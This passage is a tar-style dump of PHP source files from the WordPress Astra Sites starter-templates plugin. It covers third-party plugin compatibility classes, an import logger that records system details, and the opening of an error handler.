'astra_sites_pre_process_post_disable_content', '__return_false' ); } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Compatibility_LearnDash::get_instance(); endif; compatibility/uabb/class-astra-sites-compatibility-uabb.php 0000666 00000002110 15165314160 0020157 0 ustar 00 <?php /** * Astra Sites Compatibility for 'UABB - Lite' * * @see https://wordpress.org/plugins/ultimate-addons-for-beaver-builder-lite/ * * @package Astra Sites * @since 3.0.23 */ /** * UABB compatibility for Starter Templates. */ class Astra_Sites_Compatibility_UABB { /** * Instance * * @access private * @var object Class object. * @since 3.0.23 */ private static $instance; /** * Initiator * * @since 3.0.23 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. */ public function __construct() { add_action( 'astra_sites_after_plugin_activation', array( $this, 'uabb_activation' ), 10, 2 ); } /** * Disable redirec after installing and activating UABB. * * @return void */ public function uabb_activation() { update_option( 'uabb_lite_redirect', false ); } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Compatibility_UABB::get_instance(); compatibility/astra-pro/class-astra-sites-compatibility-astra-pro.php 0000666 00000022154 15165314160 0022167 0 ustar 00 <?php /** * Astra Sites Compatibility for 'Astra Pro' * * @see https://wordpress.org/plugins/astra-pro/ * * @package Astra Sites * @since 1.0.0 */ if ( ! class_exists( 'Astra_Sites_Compatibility_Astra_Pro' ) ) : /** * Astra_Sites_Compatibility_Astra_Pro * * @since 1.0.0 */ class Astra_Sites_Compatibility_Astra_Pro { /** * Instance * * @access private * @var object Class object. * @since 1.0.0 */ private static $instance; /** * Initiator * * @since 1.0.0 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.0.0 */ public function __construct() { add_action( 'astra_sites_after_plugin_activation', array( $this, 'astra_pro' ), 10, 2 ); add_action( 'astra_sites_import_start', array( $this, 'import_enabled_extension' ), 10, 2 ); add_action( 'astra_sites_import_complete', array( $this, 'clear_cache' ) ); } /** * Import * * @since 1.1.6 * @return void */ public function import() { if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Processing "Astra Pro" Batch Import' ); } Astra_Sites_Importer_Log::add( '---- Processing Mapping - for Astra Pro ----' ); self::start_post_mapping(); } /** * Update Site Origin Active Widgets * * @since 1.0.0 * * @param string $plugin_init Plugin init file. * @param array $data Data. * @return void */ public function astra_pro( $plugin_init = '', $data = array() ) { if ( 'astra-addon/astra-addon.php' === $plugin_init && ! empty( $data ) ) { if ( is_array( $data ) ) { $data = json_decode( wp_json_encode( $data ), true ); } if ( isset( $data['enabled_extensions'] ) ) { $extensions = $data['enabled_extensions']; if ( ! empty( $extensions ) ) { if ( is_callable( 'Astra_Admin_Helper::update_admin_settings_option' ) ) { Astra_Admin_Helper::update_admin_settings_option( '_astra_ext_enabled_extensions', $extensions ); } } } } } /** * Import custom 404 section. * * @since 1.0.0 * @param array $demo_data Site all data render from API call. * @param array $demo_api_uri Demo URL. */ public function import_custom_404( $demo_data = array(), $demo_api_uri = '' ) { if ( isset( $demo_data['astra-custom-404'] ) ) { if ( is_callable( 'Astra_Admin_Helper::update_admin_settings_option' ) ) { $options_404 = $demo_data['astra-custom-404']; Astra_Admin_Helper::update_admin_settings_option( '_astra_ext_custom_404', $options_404 ); } } } /** * Import settings enabled Astra extensions from the demo. * * @since 1.0.0 * @param array $demo_data Site all data render from API call. * @param array $demo_api_uri Demo URL. */ public function import_enabled_extension( $demo_data = array(), $demo_api_uri = '' ) { if ( isset( $demo_data['astra-enabled-extensions'] ) ) { if ( is_callable( 'Astra_Admin_Helper::update_admin_settings_option' ) ) { Astra_Admin_Helper::update_admin_settings_option( '_astra_ext_enabled_extensions', $demo_data['astra-enabled-extensions'] ); } } } /** * Start post meta mapping of Astra Addon * * @since 1.1.6 * * @return null If there is no import option data found. */ public static function start_post_mapping() { $demo_data = get_option( 'astra_sites_import_data', array() ); if ( ! isset( $demo_data['astra-post-data-mapping'] ) ) { return; } $post_type = 'astra-advanced-hook'; $posts = ( isset( $demo_data['astra-post-data-mapping'][ $post_type ] ) ) ? $demo_data['astra-post-data-mapping'][ $post_type ] : array(); if ( ! empty( $posts ) ) { foreach ( $posts as $key => $post ) { $page = get_page_by_title( $post['post_title'], OBJECT, $post_type ); if ( is_object( $page ) ) { if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Setting Location Rules for ' . $post['post_title'] ); } self::update_location_rules( $page->ID, 'ast-advanced-hook-location', $post['mapping']['ast-advanced-hook-location'] ); } } } $post_type = 'astra_adv_header'; $posts = ( isset( $demo_data['astra-post-data-mapping'][ $post_type ] ) ) ? $demo_data['astra-post-data-mapping'][ $post_type ] : array(); if ( ! empty( $posts ) ) { foreach ( $posts as $key => $post ) { $page = get_page_by_title( $post['post_title'], OBJECT, $post_type ); if ( is_object( $page ) ) { if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Setting Location Rules for ' . $post['post_title'] ); } self::update_location_rules( $page->ID, 'ast-advanced-headers-location', $post['mapping']['ast-advanced-headers-location'] ); self::update_location_rules( $page->ID, 'ast-advanced-headers-exclusion', $post['mapping']['ast-advanced-headers-exclusion'] ); self::update_header_mapping( $page->ID, 'ast-advanced-headers-design', $post['mapping']['ast-advanced-headers-design'] ); } } } } /** * Update Header Mapping Data * * @since 1.1.6 * * @param int $post_id Post ID. * @param string $meta_key Post meta key. * @param array $mapping Mapping array. * @return void */ public static function update_header_mapping( $post_id = '', $meta_key = '', $mapping = array() ) { Astra_Sites_Importer_Log::add( 'Mapping "' . $meta_key . '" for ' . $post_id ); $headers_old = get_post_meta( $post_id, $meta_key, true ); $headers_new = self::get_header_mapping( $headers_old, $mapping ); update_post_meta( $post_id, $meta_key, $headers_new ); } /** * Update Location Rules * * @since 1.1.6 * * @param int $post_id Post ID. * @param string $meta_key Post meta key. * @param array $mapping Mapping array. * @return void */ public static function update_location_rules( $post_id = '', $meta_key = '', $mapping = array() ) { Astra_Sites_Importer_Log::add( 'Mapping "' . $meta_key . '" for ' . $post_id ); $location_new = self::get_location_mappings( $mapping ); update_post_meta( $post_id, $meta_key, $location_new ); } /** * Get mapping locations. * * @since 1.1.6 * * @param array $location Location data. * @return array Location mapping data. */ public static function get_location_mappings( $location = array() ) { if ( empty( $location ) ) { return $location; } if ( ! isset( $location['specific'] ) || empty( $location['specific'] ) ) { return $location; } $mapping = array(); if ( isset( $location['specific']['post'] ) ) { foreach ( $location['specific']['post'] as $post_type => $old_post_data ) { if ( is_array( $old_post_data ) ) { foreach ( $old_post_data as $post_key => $post ) { $post_object = get_page_by_path( $post['slug'] ); if ( $post_object ) { $mapping[] = 'post-' . absint( $post_object->ID ); } } } } } if ( isset( $location['specific']['tax'] ) ) { foreach ( $location['specific']['tax'] as $taxonomy_type => $old_term_data ) { if ( is_array( $old_term_data ) ) { foreach ( $old_term_data as $term_key => $term_data ) { $term = get_term_by( 'slug', $term_data['slug'], $taxonomy_type ); if ( is_object( $term ) ) { $mapping[] = 'tax-' . absint( $term->term_id ); } } } } } $location['specific'] = $mapping; return $location; } /** * Get advanced header mapping data * * @since 1.1.6 * * @param array $headers_old Header mapping stored data. * @param array $headers_data Header mapping data. * @return array Filtered header mapping data. */ public static function get_header_mapping( $headers_old = array(), $headers_data = array() ) { // Set menu location by menu slug. if ( isset( $headers_data['menus'] ) && ! empty( $headers_data['menus'] ) ) { foreach ( $headers_data['menus'] as $header_option_name => $menu_data ) { $term = get_term_by( 'slug', $menu_data['slug'], 'nav_menu' ); if ( is_object( $term ) ) { $headers_old[ $header_option_name ] = $term->term_id; } } } // Set image ID & URL after importing these on website. if ( isset( $headers_data['images'] ) && ! empty( $headers_data['images'] ) ) { foreach ( $headers_data['images'] as $key => $image_data ) { if ( isset( $image_data['image'] ) && ! empty( $image_data['image'] ) ) { $downloaded_image = Astra_Sites_Image_Importer::get_instance()->import( $image_data['image'] ); $headers_old[ $image_data['key_map']['url'] ] = $downloaded_image['url']; $headers_old[ $image_data['key_map']['id'] ] = $downloaded_image['id']; } } } return $headers_old; } /** * Clear Cache * * @since 1.2.3 * @return void */ public function clear_cache() { if ( is_callable( 'Astra_Minify::refresh_assets' ) ) { Astra_Minify::refresh_assets(); } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Compatibility_Astra_Pro::get_instance(); endif; compatibility/sfwd-lms/class-astra-sites-compatibility-sfwd-lms.php 0000666 00000005533 15165314160 0021641 0 ustar 00 <?php /** * Astra Sites Compatibility for 'LearnDash LMS' * * @see https://www.learndash.com/ * * @package Astra Sites * @since 1.3.13 */ if ( ! class_exists( 'Astra_Sites_Compatibility_SFWD_LMS' ) ) : /** * Astra_Sites_Compatibility_SFWD_LMS * * @since 1.3.13 */ class Astra_Sites_Compatibility_SFWD_LMS { /** * Instance * * @access private * @var object Class object. * @since 1.3.13 */ private static $instance; /** * Initiator * * @since 1.3.13 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.3.13 */ public function __construct() { add_filter( 'astra_sites_gutenberg_batch_process_post_types', array( $this, 'set_post_types' ) ); add_action( 'astra_sites_import_complete', array( $this, 'process_landing_pages_mapping' ) ); } /** * Set LearnDash Landing pages with respect to Cartflows. * * @since 2.3.2 */ public function process_landing_pages_mapping() { $demo_data = get_option( 'astra_sites_import_data', array() ); if ( ! isset( $demo_data['astra-post-data-mapping'] ) || ! isset( $demo_data['astra-post-data-mapping']['ld_landing_pages'] ) ) { return; } $index = 'ld_landing_pages'; $posts = ( isset( $demo_data['astra-post-data-mapping'][ $index ] ) ) ? $demo_data['astra-post-data-mapping'][ $index ] : array(); if ( ! empty( $posts ) ) { foreach ( $posts as $key => $post ) { if ( '' !== $post['landing_page'] ) { // Get course by Title. $course = get_page_by_title( $post['course'], OBJECT, 'sfwd-courses' ); // Get landing step by Title. $landing_page = get_page_by_title( $post['landing_page'], OBJECT, 'cartflows_step' ); if ( is_object( $course ) && is_object( $landing_page ) ) { if ( defined( 'WP_CLI' ) ) { WP_CLI::line( 'Setting LearnDash - CartFlows Landing page - ' . $course->post_title . ' - ( ' . $course->ID . ' )' ); } $ld_meta = get_post_meta( $course->ID, '_sfwd-courses', true ); $ld_meta['sfwd-courses_wcf_course_template'] = $landing_page->ID; // Update the imported landing step to the course. update_post_meta( $course->ID, '_sfwd-courses', $ld_meta ); } } } } } /** * Set post types * * @since 1.3.13 * * @param array $post_types Post types. */ public function set_post_types( $post_types = array() ) { return array_merge( $post_types, array( 'sfwd-courses', 'sfwd-lessons', 'sfwd-topic', 'sfwd-quiz', 'sfwd-certificates', 'sfwd-assignment' ) ); } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Compatibility_SFWD_LMS::get_instance(); endif; compatibility/elementor/class-astra-sites-compatibility-elementor.php 0000666 00000011511 15165314160 0022326 0 ustar 00 <?php /** * Astra Sites Compatibility for 'Elementor' * * @package Astra Sites * @since 2.0.0 */ namespace AstraSites\Elementor; defined( 'ABSPATH' ) || exit; if ( ! class_exists( '\Elementor\Plugin' ) ) { return; } if ( ! class_exists( 'Astra_Sites_Compatibility_Elementor' ) ) : /** * Elementor Compatibility * * @since 2.0.0 */ class Astra_Sites_Compatibility_Elementor { /** * Instance * * @access private * @var object Class object. * @since 2.0.0 */ private static $instance; /** * Initiator * * @since 2.0.0 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 2.0.0 */ public function __construct() { /** * Add Slashes * * @todo Elementor already have below code which works on defining the constant `WP_LOAD_IMPORTERS`. * After defining the constant `WP_LOAD_IMPORTERS` in WP CLI it was not works. * Try to remove below duplicate code in future. */ if ( ! wp_doing_ajax() || ( defined( 'ELEMENTOR_VERSION' ) && version_compare( ELEMENTOR_VERSION, '3.0.0', '>=' ) ) ) { remove_filter( 'wp_import_post_meta', array( 'Elementor\Compatibility', 'on_wp_import_post_meta' ) ); remove_filter( 'wxr_importer.pre_process.post_meta', array( 'Elementor\Compatibility', 'on_wxr_importer_pre_process_post_meta' ) ); add_filter( 'wp_import_post_meta', array( $this, 'on_wp_import_post_meta' ) ); add_filter( 'wxr_importer.pre_process.post_meta', array( $this, 'on_wxr_importer_pre_process_post_meta' ) ); } add_action( 'astra_sites_before_delete_imported_posts', array( $this, 'force_delete_kit' ), 10, 2 ); add_action( 'astra_sites_before_sse_import', array( $this, 'disable_attachment_metadata' ) ); add_action( 'init', array( $this, 'init' ) ); add_action( 'astra_sites_after_plugin_activation', array( $this, 'disable_elementor_redirect' ) ); } /** * Disable Elementor redirect. * * @return void. */ public function disable_elementor_redirect() { $elementor_redirect = get_transient( 'elementor_activation_redirect' ); if ( ! empty( $elementor_redirect ) && '' !== $elementor_redirect ) { delete_transient( 'elementor_activation_redirect' ); } } /** * Remove the transient update check for plugins callback from Elementor. * This reduces the extra code execution for Elementor. */ public function init() { if ( astra_sites_has_import_started() && null !== \Elementor\Plugin::$instance->admin ) { remove_filter( 'pre_set_site_transient_update_plugins', array( \Elementor\Plugin::$instance->admin->get_component( 'canary-deployment' ), 'check_version' ) ); } } /** * Disable the attachment metadata */ public function disable_attachment_metadata() { remove_filter( 'wp_update_attachment_metadata', array( \Elementor\Plugin::$instance->uploads_manager->get_file_type_handlers( 'svg' ), 'set_svg_meta_data', ), 10, 2 ); } /** * Force Delete Elementor Kit * * Delete the previously imported Elementor kit. * * @param int $post_id Post name. * @param string $post_type Post type. */ public function force_delete_kit( $post_id = 0, $post_type = '' ) { if ( ! $post_id ) { return; } if ( 'elementor_library' === $post_type ) { $_GET['force_delete_kit'] = true; } } /** * Process post meta before WP importer. * * Normalize Elementor post meta on import, We need the `wp_slash` in order * to avoid the unslashing during the `add_post_meta`. * * Fired by `wp_import_post_meta` filter. * * @since 1.4.3 * @access public * * @param array $post_meta Post meta. * * @return array Updated post meta. */ public function on_wp_import_post_meta( $post_meta ) { foreach ( $post_meta as &$meta ) { if ( '_elementor_data' === $meta['key'] ) { $meta['value'] = wp_slash( $meta['value'] ); break; } } return $post_meta; } /** * Process post meta before WXR importer. * * Normalize Elementor post meta on import with the new WP_importer, We need * the `wp_slash` in order to avoid the unslashing during the `add_post_meta`. * * Fired by `wxr_importer.pre_process.post_meta` filter. * * @since 1.4.3 * @access public * * @param array $post_meta Post meta. * * @return array Updated post meta. */ public function on_wxr_importer_pre_process_post_meta( $post_meta ) { if ( '_elementor_data' === $post_meta['key'] ) { $post_meta['value'] = wp_slash( $post_meta['value'] ); } return $post_meta; } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Compatibility_Elementor::get_instance(); endif; compatibility/class-astra-sites-compatibility.php 0000666 00000004206 15165314160 0016347 0 ustar 00 <?php /** * Astra Sites Compatibility for 3rd party plugins. * * @package Astra Sites * @since 1.0.11 */ if ( ! class_exists( 'Astra_Sites_Compatibility' ) ) : /** * Astra Sites Compatibility * * @since 1.0.11 */ class Astra_Sites_Compatibility { /** * Instance * * @access private * @var object Class object. * @since 1.0.11 */ private static $instance; /** * Initiator * * @since 1.0.11 * @return object initialized object of class. */ public static function instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.0.11 */ public function __construct() { // Plugin - Astra Pro. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/astra-pro/class-astra-sites-compatibility-astra-pro.php'; // Plugin - WooCommerce. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/woocommerce/class-astra-sites-compatibility-woocommerce.php'; // Plugin - LearnDash LMS. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/sfwd-lms/class-astra-sites-compatibility-sfwd-lms.php'; // Plugin - Elementor. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/elementor/class-astra-sites-compatibility-elementor.php'; // Plugin - Beaver Builder. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/beaver-builder/class-astra-sites-compatibility-bb.php'; // Plugin - LearnDash. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/learndash/class-astra-sites-compatibility-learndash.php'; // Plugin - UAG. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/uag/class-astra-sites-compatibility-uag.php'; // Plugin - UABB. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/uabb/class-astra-sites-compatibility-uabb.php'; // Plugin - Checkout Plugins - Stripe. require_once ASTRA_SITES_DIR . 'inc/classes/compatibility/checkout-plugins-stripe-woo/class-astra-sites-checkout-plugins-stripe-woo.php'; } } /** * Kicking this off by calling 'instance()' method */ Astra_Sites_Compatibility::instance(); endif; compatibility/beaver-builder/class-astra-sites-compatibility-bb.php 0000666 00000002152 15165314160 0021616 0 ustar 00 <?php /** * Astra Sites Compatibility for 'Beaver Builder' * * @package Astra Sites * @since 3.0.21 */ defined( 'ABSPATH' ) || exit; /** * Beaver Builder Compatibility * * @since 3.0.21 */ class Astra_Sites_Compatibility_BB { /** * Instance * * @access private * @var object Class object. * @since 3.0.21 */ private static $instance; /** * Initiator * * @since 3.0.21 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 3.0.21 */ public function __construct() { add_action( 'fl_builder_activated', array( $this, 'bb_activated' ) ); } /** * Disable redirection for Beaver Builder plugin when activated via Starter templates import process. */ public function bb_activated() { if ( astra_sites_has_import_started() ) { delete_transient( '_fl_builder_activation_admin_notice' ); } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Compatibility_BB::get_instance(); compatibility/uag/class-astra-sites-compatibility-uag.php 0000666 00000002060 15165314160 0017671 0 ustar 00 <?php /** * Astra Sites Compatibility for 'UAG' * * @see https://wordpress.org/plugins/ultimate-addons-for-gutenberg/ * * @package Astra Sites * @since 3.0.15 */ /** * UAG compatibility for Starter Templates. */ class Astra_Sites_Compatibility_UAG { /** * Instance * * @access private * @var object Class object. * @since 3.0.15 */ private static $instance; /** * Initiator * * @since 3.0.15 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. */ public function __construct() { add_action( 'astra_sites_after_plugin_activation', array( $this, 'uag_activation' ), 10, 2 ); } /** * Disable redirec after installing and activating UAG. * * @return void */ public function uag_activation() { update_option( '__uagb_do_redirect', false ); } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Compatibility_UAG::get_instance(); class-astra-sites-importer-log.php 0000666 00000032323 15165314160 0013246 0 ustar 00 <?php /** * Astra Sites Importer Log * * @since 1.1.0 * @package Astra Sites */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Sites_Importer_Log' ) ) : /** * Astra Sites Importer */ class Astra_Sites_Importer_Log { /** * Instance * * @since 1.1.0 * @var (Object) Class object */ private static $instance = null; /** * Log File * * @since 1.1.0 * @var (Object) Class object */ private static $log_file = null; /** * Set Instance * * @since 1.1.0 * * @return object Class object. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. * * @since 1.1.0 */ private function __construct() { // Check file read/write permissions. if ( current_user_can( 'edit_posts' ) ) { add_action( 'admin_init', array( $this, 'has_file_read_write' ) ); } } /** * Check file read/write permissions and process. * * @since 1.1.0 * @return null */ public function has_file_read_write() { $upload_dir = self::log_dir(); $file_created = Astra_Sites::get_instance()->get_filesystem()->put_contents( $upload_dir['path'] . 'index.html', '' ); if ( ! $file_created ) { add_action( 'admin_notices', array( $this, 'file_permission_notice' ) ); return; } // Set log file. self::set_log_file(); // Initial AJAX Import Hooks. add_action( 'astra_sites_import_start', array( $this, 'start' ), 10, 2 ); } /** * File Permission Notice * * @since 2.0.0 * @return void */ public function file_permission_notice() { $upload_dir = self::log_dir(); ?> <div class="notice notice-error astra-sites-must-notices astra-sites-file-permission-issue"> <p><?php esc_html_e( 'Required File Permissions to import the templates are missing.', 'astra-sites' ); ?></p> <?php if ( defined( 'FS_METHOD' ) ) { ?> <p><?php esc_html_e( 'This is usually due to inconsistent file permissions.', 'astra-sites' ); ?></p> <p><code><?php echo esc_html( $upload_dir['path'] ); ?></code></p> <?php } else { ?> <p><?php esc_html_e( 'You can easily update permissions by adding the following code into the wp-config.php file.', 'astra-sites' ); ?></p> <p><code>define( 'FS_METHOD', 'direct' );</code></p> <?php } ?> </div> <?php } /** * Add log file URL in UI response. * * @since 1.1.0 */ public static function add_log_file_url() { $upload_dir = self::log_dir(); $upload_path = trailingslashit( $upload_dir['url'] ); $file_abs_url = get_option( 'astra_sites_recent_import_log_file', self::$log_file ); $file_url = $upload_path . basename( $file_abs_url ); return array( 'abs_url' => $file_abs_url, 'url' => $file_url, ); } /** * Current Time for log. * * @since 1.1.0 * @return string Current time with time zone. */ public static function current_time() { return gmdate( 'H:i:s' ) . ' ' . date_default_timezone_get(); } /** * Import Start * * @since 1.1.0 * @param array $data Import Data. * @param string $demo_api_uri Import site API URL. * @return void */ public function start( $data = array(), $demo_api_uri = '' ) { self::add( 'Started Import Process' ); self::add( '# System Details: ' ); self::add( "Debug Mode \t\t: " . self::get_debug_mode() ); self::add( "Operating System \t: " . self::get_os() ); self::add( "Software \t\t: " . self::get_software() ); self::add( "MySQL version \t\t: " . self::get_mysql_version() ); self::add( "XML Reader \t\t: " . self::get_xmlreader_status() ); self::add( "PHP Version \t\t: " . self::get_php_version() ); self::add( "PHP Max Input Vars \t: " . self::get_php_max_input_vars() ); self::add( "PHP Max Post Size \t: " . self::get_php_max_post_size() ); self::add( "PHP Extension GD \t: " . self::get_php_extension_gd() ); self::add( "PHP Max Execution Time \t: " . self::get_max_execution_time() ); self::add( "Max Upload Size \t: " . size_format( wp_max_upload_size() ) ); self::add( "Memory Limit \t\t: " . self::get_memory_limit() ); self::add( "Timezone \t\t: " . self::get_timezone() ); self::add( PHP_EOL . '-----' . PHP_EOL ); self::add( 'Importing Started! - ' . self::current_time() ); self::add( '---' . PHP_EOL ); self::add( 'WHY IMPORT PROCESS CAN FAIL? READ THIS - ' ); self::add( 'https://wpastra.com/docs/?p=1314&utm_source=demo-import-panel&utm_campaign=import-error&utm_medium=wp-dashboard' . PHP_EOL ); self::add( '---' . PHP_EOL ); } /** * Get Log File * * @since 1.1.0 * @return string log file URL. */ public static function get_log_file() { return self::$log_file; } /** * Log file directory * * @since 1.1.0 * @param string $dir_name Directory Name. * @return array Uploads directory array. */ public static function log_dir( $dir_name = 'astra-sites' ) { $upload_dir = wp_upload_dir(); // Build the paths. $dir_info = array( 'path' => $upload_dir['basedir'] . '/' . $dir_name . '/', 'url' => $upload_dir['baseurl'] . '/' . $dir_name . '/', ); // Create the upload dir if it doesn't exist. if ( ! file_exists( $dir_info['path'] ) ) { // Create the directory. wp_mkdir_p( $dir_info['path'] ); // Add an index file for security. Astra_Sites::get_instance()->get_filesystem()->put_contents( $dir_info['path'] . 'index.html', '' ); // Add an .htaccess for security. Astra_Sites::get_instance()->get_filesystem()->put_contents( $dir_info['path'] . '.htaccess', 'deny from all' ); } return $dir_info; } /** * Set log file * * @since 1.1.0 */ public static function set_log_file() { $upload_dir = self::log_dir(); $upload_path = trailingslashit( $upload_dir['path'] ); // File format e.g. 'import-31-Oct-2017-06-39-12-hashcode.log'. self::$log_file = $upload_path . 'import-' . gmdate( 'd-M-Y-h-i-s' ) . '-' . wp_hash( 'starter-templates-log' ) . '.log'; if ( ! get_option( 'astra_sites_recent_import_log_file', false ) ) { update_option( 'astra_sites_recent_import_log_file', self::$log_file, 'no' ); } } /** * Write content to a file. * * @since 1.1.0 * @param string $content content to be saved to the file. */ public static function add( $content ) { if ( get_option( 'astra_sites_recent_import_log_file', false ) ) { $log_file = get_option( 'astra_sites_recent_import_log_file', self::$log_file ); } else { $log_file = self::$log_file; } $existing_data = ''; if ( file_exists( $log_file ) ) { $existing_data = Astra_Sites::get_instance()->get_filesystem()->get_contents( $log_file ); } // Style separator. $separator = PHP_EOL; Astra_Sites::get_instance()->get_filesystem()->put_contents( $log_file, $existing_data . $separator . $content, FS_CHMOD_FILE ); } /** * Debug Mode * * @since 1.1.0 * @return string Enabled for Debug mode ON and Disabled for Debug mode Off. */ public static function get_debug_mode() { if ( WP_DEBUG ) { return __( 'Enabled', 'astra-sites' ); } return __( 'Disabled', 'astra-sites' ); } /** * Memory Limit * * @since 1.1.0 * @return string Memory limit. */ public static function get_memory_limit() { $required_memory = '64M'; $memory_limit_in_bytes_current = wp_convert_hr_to_bytes( WP_MEMORY_LIMIT ); $memory_limit_in_bytes_required = wp_convert_hr_to_bytes( $required_memory ); if ( $memory_limit_in_bytes_current < $memory_limit_in_bytes_required ) { return sprintf( /* translators: %1$s Memory Limit, %2$s Recommended memory limit. */ _x( 'Current memory limit %1$s. We recommend setting memory to at least %2$s.', 'Recommended Memory Limit', 'astra-sites' ), WP_MEMORY_LIMIT, $required_memory ); } return WP_MEMORY_LIMIT; } /** * Timezone * * @since 1.1.0 * @see https://codex.wordpress.org/Option_Reference/ * * @return string Current timezone. */ public static function get_timezone() { $timezone = get_option( 'timezone_string' ); if ( ! $timezone ) { return get_option( 'gmt_offset' ); } return $timezone; } /** * Operating System * * @since 1.1.0 * @return string Current Operating System. */ public static function get_os() { return PHP_OS; } /** * Server Software * * @since 1.1.0 * @return string Current Server Software. */ public static function get_software() { return isset( $_SERVER['SERVER_SOFTWARE'] ) ? sanitize_text_field( $_SERVER['SERVER_SOFTWARE'] ) : ''; } /** * MySql Version * * @since 1.1.0 * @return string Current MySql Version. */ public static function get_mysql_version() { global $wpdb; return $wpdb->db_version(); } /** * XML Reader * * @since 1.2.8 * @return string Current XML Reader status. */ public static function get_xmlreader_status() { if ( class_exists( 'XMLReader' ) ) { return __( 'Yes', 'astra-sites' ); } return __( 'No', 'astra-sites' ); } /** * PHP Version * * @since 1.1.0 * @return string Current PHP Version. */ public static function get_php_version() { if ( version_compare( PHP_VERSION, '5.4', '<' ) ) { return _x( 'We recommend to use php 5.4 or higher', 'PHP Version', 'astra-sites' ); } return PHP_VERSION; } /** * PHP Max Input Vars * * @since 1.1.0 * @return string Current PHP Max Input Vars */ public static function get_php_max_input_vars() { return ini_get( 'max_input_vars' ); // phpcs:disable PHPCompatibility.IniDirectives.NewIniDirectives.max_input_varsFound } /** * PHP Max Post Size * * @since 1.1.0 * @return string Current PHP Max Post Size */ public static function get_php_max_post_size() { return ini_get( 'post_max_size' ); } /** * PHP Max Execution Time * * @since 1.1.0 * @return string Current Max Execution Time */ public static function get_max_execution_time() { return ini_get( 'max_execution_time' ); } /** * PHP GD Extension * * @since 1.1.0 * @return string Current PHP GD Extension */ public static function get_php_extension_gd() { if ( extension_loaded( 'gd' ) ) { return __( 'Yes', 'astra-sites' ); } return __( 'No', 'astra-sites' ); } /** * Display Data * * @since 2.0.0 * @return void */ public function display_data() { $crons = _get_cron_array(); $events = array(); if ( empty( $crons ) ) { esc_html_e( 'You currently have no scheduled cron events.', 'astra-sites' ); } foreach ( $crons as $time => $cron ) { $keys = array_keys( $cron ); $key = $keys[0]; $events[ $key ] = $time; } $expired = get_site_transient( 'astra-sites-import-check' ); if ( $expired ) { global $wpdb; $transient = 'astra-sites-import-check'; $transient_timeout = $wpdb->get_col( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name LIKE %s", '%_transient_timeout_' . $transient . '%' ) ); // WPCS: cache ok. // WPCS: db call ok. $older_date = $transient_timeout[0]; $transient_status = 'Transient: Not Expired! Recheck in ' . human_time_diff( time(), $older_date ); } else { $transient_status = 'Transient: Starting.. Process for each 5 minutes.'; } $temp = get_site_option( 'astra-sites-batch-status-string', '' ); $temp .= isset( $events['wp_astra_site_importer_cron'] ) ? '<br/>Batch: Recheck batch in ' . human_time_diff( time(), $events['wp_astra_site_importer_cron'] ) : '<br/>Batch: Not Started! Until the Transient expire.'; $upload_dir = self::get_instance()->log_dir(); $list_files = list_files( $upload_dir['path'] ); $backup_files = array(); $log_files = array(); foreach ( $list_files as $key => $file ) { if ( strpos( $file, '.json' ) ) { $backup_files[] = $file; } if ( strpos( $file, '.txt' ) ) { $log_files[] = $file; } } ?> <table> <tr> <td> <h2>Log Files</h2> <ul> <?php foreach ( $log_files as $key => $file ) { $file_name = basename( $file ); $file = str_replace( $upload_dir['path'], $upload_dir['url'], $file ); ?> <li> <a target="_blank" href="<?php echo esc_url( $file ); ?>"><?php echo esc_html( $file_name ); ?></a> </li> <?php } ?> </ul> </td> <td> <h2>Backup Files</h2> <ul> <?php foreach ( $backup_files as $key => $file ) { $file_name = basename( $file ); $file = str_replace( $upload_dir['path'], $upload_dir['url'], $file ); ?> <li> <a target="_blank" href="<?php echo esc_url( $file ); ?>"><?php echo esc_html( $file_name ); ?></a> </li> <?php } ?> </ul> </td> <td> <div class="batch-log"> <p><?php echo wp_kses_post( $temp ); ?></p> <p><?php echo wp_kses_post( $transient_status ); ?></p> </div> </td> </tr> </table> <?php } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Importer_Log::get_instance(); endif; class-astra-sites-error-handler.php 0000666 00000006676 15165314160 0013406 0 ustar 00 <?php /** * Astra Sites * * @since 3.0.23 * @package Astra Sites */ if ( ! defined( 'ABSPATH' ) ) { exit; } define( 'ST_ERROR_FATALS', E_ERROR | E_PARSE | E_COMPILE_ERROR | E_USER_ERROR | E_RECOVERABLE_ERROR ); /** * Astra_Sites_Error_Handler */ class Astra_Sites_Error_Handler { /** * Instance of Astra_Sites_Error_Handler * * @since 3.0.23 * @var (Object) Astra_Sites_Error_Handler */ private static $instance = null; /** * Instance of 